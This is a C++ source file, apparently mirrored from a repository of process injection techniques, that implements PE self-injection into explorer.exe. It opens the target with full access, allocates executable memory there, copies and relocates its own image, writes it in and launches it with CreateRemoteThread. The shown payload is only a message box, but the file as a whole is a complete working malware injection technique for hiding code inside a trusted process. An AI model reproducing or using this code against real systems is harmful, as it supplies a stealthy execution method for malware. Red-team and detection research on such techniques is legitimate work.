mirror of
https://github.com/Offensive-Panda/ProcessInjectionTechniques
synced 2026-06-06 16:24:33 +00:00
98 lines
3.8 KiB
C++
98 lines
3.8 KiB
C++
#include <stdio.h>
|
|
#include <Windows.h>
|
|
#include <TlHelp32.h>
|
|
#include <iostream>
|
|
|
|
typedef struct BASE_RELOCATION_ENTRY {
|
|
USHORT Offset : 12;
|
|
USHORT Type : 4;
|
|
} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY;
|
|
|
|
DWORD self()
|
|
{
|
|
MessageBoxA(NULL, "PE Injection", "Hello from Offensive-Panda", NULL);
|
|
return 0;
|
|
}
|
|
|
|
HANDLE GetProcessHandle(const wchar_t* processName) {
|
|
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all processes
|
|
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
|
std::wcerr << L"Failed to create process snapshot." << std::endl;
|
|
return NULL;
|
|
}
|
|
|
|
PROCESSENTRY32W pe32;
|
|
pe32.dwSize = sizeof(PROCESSENTRY32W);
|
|
|
|
if (!Process32FirstW(hProcessSnap, &pe32)) { // Retrieve the first process information
|
|
std::wcerr << L"Failed to retrieve the first process information." << std::endl;
|
|
CloseHandle(hProcessSnap);
|
|
return NULL;
|
|
}
|
|
|
|
do {
|
|
if (_wcsicmp(pe32.szExeFile, processName) == 0) { // Compare process name with "explorer.exe"
|
|
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
|
if (hProcess == NULL) {
|
|
std::wcerr << L"Failed to open process handle for " << processName << L". Error: " << GetLastError() << std::endl;
|
|
}
|
|
else {
|
|
CloseHandle(hProcessSnap); // Close snapshot handle after use
|
|
return hProcess; // Return the handle to the explorer.exe process
|
|
}
|
|
}
|
|
} while (Process32NextW(hProcessSnap, &pe32)); // Continue to the next process
|
|
|
|
CloseHandle(hProcessSnap); // Close snapshot handle if process not found
|
|
std::wcerr << L"Process " << processName << L" not found." << std::endl;
|
|
return NULL;
|
|
}
|
|
int main()
|
|
{
|
|
const wchar_t* processName = L"explorer.exe";
|
|
HANDLE hExp = GetProcessHandle(processName);
|
|
// Get current image's base address
|
|
PVOID imageBase = GetModuleHandle(NULL);
|
|
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
|
|
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
|
|
|
|
// Allocate a new memory block and copy the current PE image to this new memory block
|
|
PVOID lImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
|
|
memcpy(lImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
|
|
|
|
// Allote a new memory block in the target process. This is where we will be injecting this PE
|
|
PVOID tImage = VirtualAllocEx(hExp, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
|
|
DWORD_PTR deltaBase = (DWORD_PTR)tImage - (DWORD_PTR)imageBase;
|
|
|
|
// Relocate localImage, to ensure that it will have correct addresses once its in the target process
|
|
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)lImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
|
DWORD relocationEntriesCount = 0;
|
|
PDWORD_PTR patchedAddress;
|
|
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
|
|
|
|
while (relocationTable->SizeOfBlock > 0)
|
|
{
|
|
relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
|
|
relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
|
|
|
|
for (short i = 0; i < relocationEntriesCount; i++)
|
|
{
|
|
if (relocationRVA[i].Offset)
|
|
{
|
|
patchedAddress = (PDWORD_PTR)((DWORD_PTR)lImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
|
|
*patchedAddress += deltaBase;
|
|
}
|
|
}
|
|
relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
|
|
}
|
|
|
|
// Write the relocated localImage into the target process
|
|
WriteProcessMemory(hExp, tImage, lImage, ntHeader->OptionalHeader.SizeOfImage, NULL);
|
|
|
|
// Start the injected PE inside the target process
|
|
CreateRemoteThread(hExp, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)self + deltaBase), NULL, 0, NULL);
|
|
|
|
return 0;
|
|
} |